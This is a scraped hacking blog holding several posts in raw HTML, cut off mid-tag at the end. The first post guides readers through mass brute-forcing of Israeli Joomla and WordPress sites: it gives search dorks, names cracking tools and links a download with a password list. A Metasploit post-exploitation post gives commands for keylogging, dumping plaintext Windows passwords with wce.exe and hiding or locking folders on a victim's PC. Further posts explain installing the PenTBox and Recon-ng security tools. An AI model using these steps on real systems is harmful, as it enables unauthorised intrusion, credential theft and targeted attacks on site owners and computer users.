<div dir="ltr" style="text-align: left;" trbidi="on"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgGFRmZTRLunacznNob3QS3WGdbX_YItqjuIoL5ivPMip1sKG9_NysVxnoP4FJssa1djpeVtDCrASkNMHTKkVD39HEyG67oJOZHaRQ0XyGJS_mBAPXqB1zdDWDCyynmYkuIlyhld6R1nr8/s1600/images.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="200" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgGFRmZTRLunacznNob3QS3WGdbX_YItqjuIoL5ivPMip1sKG9_NysVxnoP4FJssa1djpeVtDCrASkNMHTKkVD39HEyG67oJOZHaRQ0XyGJS_mBAPXqB1zdDWDCyynmYkuIlyhld6R1nr8/s400/images.jpg" width="400" /></a></div><div style="text-align: left;"><span style="font-family: Arial;">Friends, allies, partners-in-crime and haters, we know what you are looking for - the title above is proof enough, isn't it? I scream, you scream, we all scream for tools to hack Joomla and Wordpress. Don't fret as we offer salvation to your Joomla/Wordpress hacking needs.</span><br /><div class="MsoNormal"><a name="more"></a></div><div class="MsoNormal"><span style="font-family: Arial;">The hack that we are going to talk about today isn't an exploit. Exploits of Joomla and Wordpress are present in plugins and components that are downloaded by the user. Privilege Escalation and Restoring Admin Password are just such examples of bug or vulnerability exploitation via Token Codes. Whereas this method isn't an exploit and doesn't require complicated programming as such.<o:p></o:p></span></div><div class="MsoNormal"><br /></div><div class="MsoNormal"><span style="font-family: Arial;">Let's begin by using the best search engine that does not filter search results. Believe it or not, Google hides way more in it pockets than it shows. Google censors topics on hacking therefore, we are not going to use Google for our required search. We are going to use <b>AramaM0t0ru V1.3</b><u>.</u><o:p></o:p></span></div><div class="MsoNormal"><br /></div><div class="MsoNormal"><span style="font-family: Arial;">1. On AramaM0t0ru, click on "<b>tümünü işaretle</b>" which would enable you to select all methods.<o:p></o:p></span></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiTma0tOASHod8T20ps9QX9rb-CK7owjfN_UsXuqikyIpyZlJsAG2CxQ8_wLEstN6CblTZedOIRp3W6nLay58P9rvC37UswvhfSBNO27OS8vd5Ft-7KepP0cuGCkQOIThc4IP-sL970uQs/s1600/1.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="265" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiTma0tOASHod8T20ps9QX9rb-CK7owjfN_UsXuqikyIpyZlJsAG2CxQ8_wLEstN6CblTZedOIRp3W6nLay58P9rvC37UswvhfSBNO27OS8vd5Ft-7KepP0cuGCkQOIThc4IP-sL970uQs/s320/1.JPG" width="320" /></a></div><div class="MsoNormal"><br /></div><div class="MsoNormal"><span style="font-family: Arial;">2. In the black case titled "<b>arama bölümü" </b>write as many dorks as you like at the same time. For example, if I want to hack an Israeli website using Joomla or Wordpress, I would use the following dorks:<o:p></o:p></span></div><div class="MsoNormal"><br /></div><div class="MsoNormal"><b><u><span style="font-family: Arial;">For Joomla<o:p></o:p></span></u></b></div><div class="MsoNormal"><br /></div><div class="MsoNormal"><span style="font-family: Arial;">
<b>site:il com_user.israel</b><o:p></o:p></span></div><div class="MsoNormal"><b><span style="font-family: Arial;">site:il option=</span></b><span style="font-family: Arial;"><o:p></o:p></span></div><div class="MsoNormal"><b><span style="font-family: Arial;">site:il templates/beez/</span></b><span style="font-family: Arial;"><o:p></o:p></span></div><div class="MsoNormal"><b><span style="font-family: Arial;">site:il template/atomic</span></b><span style="font-family: Arial;"><o:p></o:p></span></div><div class="MsoNormal"><b><span style="font-family: Arial;">site:il com_user.shalom</span></b><span style="font-family: Arial;"><o:p></o:p></span></div><div class="MsoNormal"><b><span style="font-family: Arial;">site:il com_user.shalit</span></b><span style="font-family: Arial;"><o:p></o:p></span></div><div class="MsoNormal"><br /></div><div class="MsoNormal"><b><u><span style="font-family: Arial;">For Wordpress<o:p></o:p></span></u></b></div><div class="MsoNormal"><br /></div><div class="MsoNormal"><b><span style="font-family: Arial;">site:il wp-content</span></b><span style="font-family: Arial;"><o:p></o:p></span></div><div class="MsoNormal"><b><span style="font-family: Arial;">site:il powered by wordpress</span></b><span style="font-family: Arial;"><o:p></o:p></span></div><div class="MsoNormal"><b><span style="font-family: Arial;">site:il wp-content/themes</span></b><span style="font-family: Arial;"><o:p></o:p></span></div><div class="MsoNormal"><b><span style="font-family: Arial;">site:il wp-content/plugins</span></b><span style="font-family: Arial;"><o:p></o:p></span></div><div class="MsoNormal"><b><span style="font-family: Arial;">site:il ?p= wordpress</span></b><span style="font-family: Arial;"><o:p></o:p></span></div><div class="MsoNormal"><br /></div><div class="MsoNormal"><span style="font-family: Arial;">3. Click on the tab next to <b>Ayarlar</b>, named <b>Tarama</b> and click on "<b>Taramaya</b> <b>Başla". </b><o:p></o:p></span></div><div class="MsoNormal"><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhSE1E6D8K45KjWL1ysUdCUQy44UZCajaHoWSa_WDJ0TMDv7CZDq1xU_biJdXV3aJQ_6utGM46X6UtNIBGRvHGmGmuku2ujOqiKjNEJC9yfspjfsA6zuqMPkxPWtv1O9_aKex_6TByoMPk/s1600/2.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="267" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhSE1E6D8K45KjWL1ysUdCUQy44UZCajaHoWSa_WDJ0TMDv7CZDq1xU_biJdXV3aJQ_6utGM46X6UtNIBGRvHGmGmuku2ujOqiKjNEJC9yfspjfsA6zuqMPkxPWtv1O9_aKex_6TByoMPk/s320/2.JPG" width="320" /></a></div><div class="MsoNormal"><span style="font-family: Arial;"><br /></span></div><div class="MsoNormal"><span style="font-family: Arial;">When the search ends, hit </span><b style="font-family: Arial;">Kaydet</b><span style="font-family: Arial;"> and save it as a text file. It is important to do so because you are going to need it later on.</span></div><div class="MsoNormal"><span style="font-family: Arial;"><br /></span></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjNwW_CMYZ8sshSSMa6cBJPQd8XNHKpZDI6XcjZwvzYvGi_QnkBHnejz_LctKXdxkb04BY_DyPVw00CkTiUA55oLotkC4ZwafTXm5CTol6Vc32fmkg2PsBEb3K5KcBCDfteMki25wPITxA/s1600/3.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="264" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjNwW_CMYZ8sshSSMa6cBJPQd8XNHKpZDI6XcjZwvzYvGi_QnkBHnejz_LctKXdxkb04BY_DyPVw00CkTiUA55oLotkC4ZwafTXm5CTol6Vc32fmkg2PsBEb3K5KcBCDfteMki25wPITxA/s320/3.JPG" width="320" /></a></div><div class="MsoNormal"><span style="font-family: Arial;"><br /></span></div><div class="MsoNormal"><span style="font-family: Arial;">4. Now, we will use our favourite and most trusted Cracking App to get 'cracking' on your chosen website. The app that we shall use is </span><b style="font-family: Arial;">EksenAtak v1.2</b><u style="font-family: Arial;">.</u></div><div class="MsoNormal"><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgTLsjc22RFy2b5MmR2t4hdwuB539yt1ULgRhw1iG8d31ScZyd7qry_LPLkgGVatPwp6wABiaTEjbYD5iMI0GPBnacROjnBHKqovi0FWR6XASCpaCvoHj48ix-qrAR7hbfxKj4PMn3fT_c/s1600/4.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="311" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgTLsjc22RFy2b5MmR2t4hdwuB539yt1ULgRhw1iG8d31ScZyd7qry_LPLkgGVatPwp6wABiaTEjbYD5iMI0GPBnacROjnBHKqovi0FWR6XASCpaCvoHj48ix-qrAR7hbfxKj4PMn3fT_c/s320/4.JPG" width="320" /></a></div><div class="MsoNormal"><span style="font-family: Arial;"><br /></span></div><div class="MsoNormal"><span style="font-family: Arial;">5. Open EksenAtak and hit on either WordPress or Joomla, depending on which site you are willing to victimise. For this purpose you will need to use a wordlist.<o:p></o:p></span></div><div class="MsoNormal"><br /></div><div class="MsoNormal"><span style="font-family: Arial;">6. Click on "<b>şifre kelimelistesi" </b>to select your password list and hit "<b>site ekle</b>" to select the websites that we found through the Search Engine.<o:p></o:p></span></div><div class="MsoNormal"><br /></div><div class="MsoNormal"><span style="font-family: Arial;">7. Click on "<b>Başla" </b>to start attacking the websites.<o:p></o:p></span></div><div class="MsoNormal"><br /></div><div class="MsoNormal"><span style="font-family: Arial;">Please click <a href="http://www.mediafire.com/?zbm8yix0uiyrspz"><b><span style="color: #0000e9; text-decoration: none; text-underline: none;">here</span></b></a> to download both the programs used above. The folder includes a password list highly recommended to tryout.<o:p></o:p></span></div><div class="MsoNormal"><br /></div><div class="MsoNormal"><span style="font-family: Arial;">Cheers!</span><br /><span style="font-family: Arial;"><b><br />About The Author</b></span><br /><span style="font-family: Arial;"><b><br /></b></span><span style="font-family: Arial;">This article was written Sindhia Javed Junejo, We would like to thank <a href="http://www.facebook.com/mauritanie.forever?fref=ts" rel="no follow" target="_blank">Mauritania Attacker</a> for providing sceenshots and demonstration of the attack.  </span></div><!--EndFragment--></div></div>

How To Hack Wordpress And Joomla - Password Cracker

Friends, allies, partners-in-crime and haters, we know what you are looking for - the title above is proof enough, isn't it? I scream, y...

+ Read more »

Pentbox installation & use:-

<div dir="ltr" style="text-align: left;" trbidi="on"><br /><div align="LEFT" style="margin-bottom: 0in;"><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><b>PenTBox </b>is a Security Suite that packs security and stability testing oriented tools for networks and systems.Programmed in Ruby and oriented to GNU/Linux systems, but compatible with Windows, MacOS and every systems where Ruby works.</span></span></span></div><div align="LEFT" style="margin-bottom: 0in;"><br /></div><div align="LEFT" style="margin-bottom: 0in;"><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">Main Features:-</span></span></span></div><div align="LEFT" style="margin-bottom: 0in;"><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><b><span style="font-weight: normal;">- Cryptography tools</span></b></span></span></span></div><ul><li><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">Base64 Encoder & Decoder</span></span></span></li><li><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">Multi-Digest (MD5, SHA1, SHA256, SHA384, SHA512, RIPEMD-160)</span></span></span></li><li><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">Hash Password Cracker (MD5, SHA1, SHA256, SHA384, SHA512, RIPEMD-160)</span></span></span></li><li><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">Secure Password Generator</span></span></span></li></ul><br /><div align="LEFT" style="margin-bottom: 0in;"><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><br /><b><span style="font-weight: normal;">- Network tools</span></b></span></span></span></div><ul><li><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">Net DoS Tester</span></span></span></li><li><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">TCP port scanner</span></span></span></li><li><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">Honeypot</span></span></span></li><li><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">Fuzzer</span></span></span></li><li><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">DNS and host gathering</span></span></span></li><li><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">MAC address geolocation (samy.pl)</span></span></span></li></ul><br /><div align="LEFT" style="margin-bottom: 0in;"><br /></div><div align="LEFT" style="margin-bottom: 0in;"><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><b><span style="font-weight: normal;">- Web</span></b></span></span></span></div><ul><li><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">HTTP directory bruteforce</span></span></span></li><li><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">HTTP common files bruteforce</span></span></span></li></ul><br /><div align="LEFT" style="margin-bottom: 0in;"><br /></div><div align="LEFT" style="margin-bottom: 0in;"><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">How to install pentbox?</span></span></span></div><div align="LEFT" style="margin-bottom: 0in;"><br /></div><div align="LEFT" style="margin-bottom: 0in;"><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">As mention earlier this framework is compatible in any system where ruby works.</span></span></span></div><div align="LEFT" style="margin-bottom: 0in;"><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">So you have to install ruby in your system to use this tool.</span></span></span></div><div align="LEFT" style="margin-bottom: 0in;"><br /></div><pre class="western"><b><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><code class="western"><span style="font-family: Courier New, Courier, Fixed;">svn co https://pentbox.svn.sourceforge.net/svnroot/pentbox/trunk/ pentbox</span></code></span></span></span><br /><br /><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><code class="western"><span style="font-family: Courier New, Courier, Fixed;">cd pentbox</span></code></span></span></span><br /><br /><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><code class="western"><span style="font-family: Courier New, Courier, Fixed;">svn update</span></code></span></span></span><br /><br /><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><code class="western"><span style="font-family: Courier New, Courier, Fixed;">./pentbox.rb</span></code></span></span></span></b><br /><br /></pre><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgyEDm0rcgX8eO_UHzpOymhrNdBxOPaMldqXeAcD7s4rpVuBFQcE5ERSmewciNPNEFe7i2dBOhKEfSvbF8ok3vJZOyYrJ4JOCVXFRmze8Grehk9wiQSePm4T2y6ZP32U4OjuAci-eApY8dH/s1600/pentbox-1.jpeg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="pentbox-1" border="0" height="292" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgyEDm0rcgX8eO_UHzpOymhrNdBxOPaMldqXeAcD7s4rpVuBFQcE5ERSmewciNPNEFe7i2dBOhKEfSvbF8ok3vJZOyYrJ4JOCVXFRmze8Grehk9wiQSePm4T2y6ZP32U4OjuAci-eApY8dH/s400/pentbox-1.jpeg" title="pentbox-1" width="400" /></a></div><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><b></b></span></span></span> <br /><a name="more"></a><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><b>Cryptography tool:-</b></span></span></span><br /><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"></div><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">web application penetration tests we often discover encoded Base64 strings. Such strings can contain important information that’s why we need to have a decoder in our tool repository.</span></span></span><br /><br /><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">If in some situation we obtain password in hash form , then pentbox has inbuilt module that can crack hash into plain text , it can also encrypt plain text in hash form. Supported hash are MD5, SHA1, SHA256, SHA384, SHA512, RIPEMD-160.</span></span></span><br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg9myVaMF2660DuwLZUDJVzqs9Ke8uB96qwWVZiO5hD1_AcJxCfvsIaJ_lRifgRSv-JJKu-fBzgwTlXnFb0Ybv6XDLPjheXluRIserOSv2i18ERuScR4Kb26PPfrVGEPZUU7Uzme4qUNblj/s1600/pentbox-2.jpeg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="pentbox-2" border="0" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg9myVaMF2660DuwLZUDJVzqs9Ke8uB96qwWVZiO5hD1_AcJxCfvsIaJ_lRifgRSv-JJKu-fBzgwTlXnFb0Ybv6XDLPjheXluRIserOSv2i18ERuScR4Kb26PPfrVGEPZUU7Uzme4qUNblj/s400/pentbox-2.jpeg" title="pentbox-2" width="375" /></a></div><br /><b style="font-family: 'Bitstream Charter', serif; font-size: large;">Network tools:-</b><br /><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">Available modules are Net DoS Tester TCP port scanner ,Honeypot,Fuzzer,DNS and host gathering,MAC address geolocation . For tcp port scan you should use NMAP , because it `s best tool for port scanning.</span></span></span><br /><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">I like DNS and host gathering modules. It `s very fast & responsive.</span></span></span><br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj7OVUoFAGxZj4dL6ezORTRIKaMvX-jW6NGCgPw5mkNCdAgJD4ncWTqyHgkEKnJROfR_hKh02t1H6kQIeFBcXcZ0KKm2pU7aI8p4f48ev1a0K3u2wznn5DkA7X4P7C6oRoVEdZWIKr_1_cm/s1600/pentbox-4.jpeg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="pentbox-3" border="0" height="247" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj7OVUoFAGxZj4dL6ezORTRIKaMvX-jW6NGCgPw5mkNCdAgJD4ncWTqyHgkEKnJROfR_hKh02t1H6kQIeFBcXcZ0KKm2pU7aI8p4f48ev1a0K3u2wznn5DkA7X4P7C6oRoVEdZWIKr_1_cm/s320/pentbox-4.jpeg" title="pentbox-3" width="320" /></a></div><br /><b style="font-family: 'Bitstream Charter', serif; font-size: large;">Web tools:-</b><br /><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">This section contain two tools for information gathering.</span></span></span><br /><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">HTTP directory brute-force (You can find directory of website)</span></span></span><br /><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">HTTP common files brute-force .</span></span></span></div>

Pentbox installation & use:-

PenTBox is a Security Suite that packs security and stability testing oriented tools for networks and systems.Programmed in Ruby and oriente...

+ Read more »

Metasploit Post Exploitation Methods

<div dir="ltr" style="text-align: left;" trbidi="on">(A)Hide File in victim `s P.C:-<br /><br />After successfully got meterpreter sessions you can hide any file in victim `s P.C. Type following attribute.<br /><br />attrib +h +r +s drivename:/Foldername<br /><br />For example you want to hide folder name “songs” in F drive then just type following command in your terminal.<br /><br />shell<br /><br />attrib +h +r +s F:/songs<br /><br />For unhidden file attrib -h -r -s F:/songs<br /><br />(B)Get passwords of remote windows P.C:-<br /><br />After getting meterpreter session type ps command it will display list of running process. Now we should migrate meterpreter session to any running process with their process i.d.<br /><br />In this example we will migrate meterpreter session to winlogon.exe which process i.d. Is 600.<br /><br />Type following command in your terminal.<br /><br />migrate 600<br /><br />Keyscan_start – to start the keylogger<br /><br />Keyscan_dump – to print captured keystrokes<br /><br />Keyscan_stop – to stop the keylogger<br /><br />(C)Remote Windows password in plain text :-<br /><br />Type following command in your meterpreter session.<br /><br />Upload /pentest/passwords/wce/wce.exe<br /><br />shell<br /><br />wce.exe -w<br /><br />(D)Lock Folder in Remote P.C. :-<br /><br />After getting meterpreter  session type following command.<br /><br />Cacls (Folder Name) /e /p everyone:n<br /><br />This will lock your folder.<br /><br />For unlock <br /><br />Cacls (Folder Name) /e /p everyone:f<br /><br />Here is more method of post exploitation.<br /></div>

Metasploit Post Exploitation Methods

(A)Hide File in victim `s P.C:- After successfully got meterpreter sessions you can hide any file in victim `s P.C. Type following attribute...

+ Read more »

How to install & use Recon-ng?

<div dir="ltr" style="text-align: left;" trbidi="on"><style type="text/css"> <!-- @page { margin: 0.79in } P { margin-bottom: 0.08in } A:link { so-language: zxx } </style> <br /><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">Recon-ng is a true framework whose interface is modeled after the very popular and powerful Metasploit Framework. Complete with independent modules, database interaction, built in convenience functions, interactive help, and command completion, Recon-ng provides a powerful environment in which open source web-based reconnaissance can be conducted quickly and thoroughly.</span></span></span><br /><span style="font-size: medium;"><span style="font-family: Bitstream Charter, serif;"><br /></span></span> <style type="text/css"> <!-- @page { margin: 0.79in } P { margin-bottom: 0.08in } A:link { so-language: zxx } </style> <br />--> <br /><div align="LEFT" style="background: transparent; font-style: normal; font-weight: normal; line-height: 0.22in; margin-bottom: 0in; orphans: 2; widows: 2;"><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">Recon-ng is not intended to compete with any existing framework, as it was designed exclusively for web-based reconnaissance. recon-ng which can perform web-based reconnaissance and it can be used in social engineering engagements or for extracting information that exists on the web.</span></span></span></div><div align="LEFT" style="background: transparent; font-style: normal; font-weight: normal; line-height: 0.22in; margin-bottom: 0in; orphans: 2; widows: 2;"><br /></div><div align="LEFT" style="background: transparent; font-style: normal; font-weight: normal; line-height: 0.22in; margin-bottom: 0in; orphans: 2; widows: 2;"><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">How to install Recon-ng ?</span></span></span></div><div align="LEFT" style="background: transparent; font-style: normal; font-weight: normal; line-height: 0.22in; margin-bottom: 0in; orphans: 2; widows: 2;"><span style="color: black;"><span style="font-family: Trebuchet MS, Verdana, sans-serif;"><span style="font-size: x-small;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">git clone </span></span><a href="https://LaNMaSteR53@bitbucket.org/LaNMaSteR53/recon-ng.git"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">https://LaNMaSteR53@bitbucket.org/LaNMaSteR53/recon-ng.git</span></span></a></span></span></span></div><div align="LEFT" style="background: transparent; font-style: normal; font-weight: normal; line-height: 0.22in; margin-bottom: 0in; orphans: 2; widows: 2;"><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">cd recon-ng </span></span></span></div><div align="LEFT" style="background: transparent; font-style: normal; font-weight: normal; line-height: 0.22in; margin-bottom: 0in; orphans: 2; widows: 2;"><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">./recon-ng.py</span></span></span></div><div align="LEFT" style="background: transparent; font-style: normal; font-weight: normal; line-height: 0.22in; margin-bottom: 0in; orphans: 2; widows: 2;"><br /></div><div align="LEFT" style="background: transparent; font-style: normal; font-weight: normal; line-height: 0.22in; margin-bottom: 0in; orphans: 2; widows: 2;"><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">Discovering Contact with help of Recon-ng?</span></span></span></div><div align="LEFT" style="background: transparent; font-style: normal; font-weight: normal; line-height: 0.22in; margin-bottom: 0in; orphans: 2; widows: 2;"><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">type help in the framework in order to see a list with all the available commands.</span></span></span></div><div align="LEFT" style="background: transparent; font-style: normal; font-weight: normal; line-height: 0.22in; margin-bottom: 0in; orphans: 2; widows: 2;"><br /></div><div align="LEFT" style="background: #ffffff; font-style: normal; font-weight: normal; line-height: 0.22in; margin-bottom: 0in; orphans: 2; widows: 2;"><a name="more"></a></div><div align="LEFT" style="background: #ffffff; font-style: normal; font-weight: normal; line-height: 0.22in; margin-bottom: 0in; orphans: 2; widows: 2;"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi0mVlV7Bm9IsQ8-_zDG9ne7Zvz9EkyRPKWQapOvhWp7QKDi5QAZEpcFqNcMJkZzVOaHcUasO7OynYKnNaVrBhcXcg6ZxRMlRWJY6R5lP7iCsrdwMdIMlQXh77W8X09rFGpGtKEHeVHg2xD/s1600/recon-ng1.jpeg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Recon-ng-1" border="0" height="303" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi0mVlV7Bm9IsQ8-_zDG9ne7Zvz9EkyRPKWQapOvhWp7QKDi5QAZEpcFqNcMJkZzVOaHcUasO7OynYKnNaVrBhcXcg6ZxRMlRWJY6R5lP7iCsrdwMdIMlQXh77W8X09rFGpGtKEHeVHg2xD/s400/recon-ng1.jpeg" title="Recon-ng-1" width="400" /></a></div><br /><div class="separator" style="clear: both; text-align: center;"></div><span id="goog_1784935391"></span><span id="goog_1784935392"></span><br /></div><div align="LEFT" style="background: #ffffff; font-style: normal; font-weight: normal; line-height: 0.22in; margin-bottom: 0in; orphans: 2; widows: 2;"><style type="text/css"> <!-- @page { margin: 0.79in } P { margin-bottom: 0.08in } </style> </div>--> <br /><div align="LEFT" style="background: transparent; font-style: normal; font-weight: normal; line-height: 0.22in; margin-bottom: 0in; orphans: 2; widows: 2;"><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">We can see that there is a command named modules.We will type that command to check the existing modules that we can use.In the next image you can see a sample of the available modules.</span></span></span><br /></div><div align="LEFT" style="background: #ffffff; font-style: normal; font-weight: normal; line-height: 0.22in; margin-bottom: 0in; orphans: 2; widows: 2;"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgEt9NsCDWikwLrNs_Xedtns62crE-EzPDEjwKzsM8eEhBLLi8uK76mHxf-ZVmEZqRNj6IF-I1vZz51ITXJh3fKOsmj6hQxd_TkPaRuBza9pfCbuazi3LmRVvUYTj9GQ-t-4a3tDneHTjVH/s1600/recon-ng2.jpeg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Recon-ng-2" border="0" height="301" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgEt9NsCDWikwLrNs_Xedtns62crE-EzPDEjwKzsM8eEhBLLi8uK76mHxf-ZVmEZqRNj6IF-I1vZz51ITXJh3fKOsmj6hQxd_TkPaRuBza9pfCbuazi3LmRVvUYTj9GQ-t-4a3tDneHTjVH/s400/recon-ng2.jpeg" title="Recon-ng-2" width="400" /></a></div><br /></div><div align="LEFT" style="background: #ffffff; font-style: normal; font-weight: normal; line-height: 0.22in; margin-bottom: 0in; orphans: 2; widows: 2;"><style type="text/css"> <!-- @page { margin: 0.79in } P { margin-bottom: 0.08in } </style> </div>--> <br /><div align="LEFT" style="background: transparent; font-style: normal; font-weight: normal; line-height: 0.22in; margin-bottom: 0in; orphans: 2; widows: 2;"><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;"><span style="font-size: medium;">H</span>ere is a module called contacts_jigsaw. Jigsaw is a website similar to Linkedin that contains a large database of business contacts. So let’s say that we want to discover the contacts of a company that exists on jigsaw. We will load the module with the command load contacts_jigsaw and we will set the domain of our preference.</span></span></span></div><div align="LEFT" style="background: #ffffff; font-style: normal; font-weight: normal; line-height: 0.22in; margin-bottom: 0in; orphans: 2; widows: 2;"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhO7QwV2jA9J1hyB40q-puqSe5Wlyvu_Y87gryc1zoOgool8k1EVV4gxxWDW8dHZRrNKMHRzrygunBePigO0vQKMmkF5s2vBsianVDmKcz6dpyHyW0EdYzzonutrBBlpeSV_lYb8GI9bs9E/s1600/recon-ng3.jpeg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Recon-ng-3" border="0" height="291" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhO7QwV2jA9J1hyB40q-puqSe5Wlyvu_Y87gryc1zoOgool8k1EVV4gxxWDW8dHZRrNKMHRzrygunBePigO0vQKMmkF5s2vBsianVDmKcz6dpyHyW0EdYzzonutrBBlpeSV_lYb8GI9bs9E/s400/recon-ng3.jpeg" title="Recon-ng-3" width="400" /></a></div><style type="text/css"> <!-- @page { margin: 0.79in } P { margin-bottom: 0.08in } </style> </div>--> <br /><div align="LEFT" style="background: transparent; font-style: normal; font-weight: normal; line-height: 0.22in; margin-bottom: 0in; orphans: 2; widows: 2;"><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">Discover additional Domain of same company?</span></span></span></div><div align="LEFT" style="background: transparent; font-style: normal; font-weight: normal; line-height: 0.22in; margin-bottom: 0in; orphans: 2; widows: 2;"><span style="color: black;"><span style="font-family: Bitstream Charter, serif;"><span style="font-size: medium;">we can try to use the Google module to discover additional domains of the same company. In this example I am using netcraft modules.</span></span></span></div><div align="LEFT" style="background: transparent; font-style: normal; font-weight: normal; line-height: 0.22in; margin-bottom: 0in; orphans: 2; widows: 2;"><br /></div><div align="LEFT" style="background: #ffffff; font-style: normal; font-weight: normal; line-height: 0.22in; margin-bottom: 0in; orphans: 2; widows: 2;"><div class="separator" style="clear: both; text-align: center;"><a 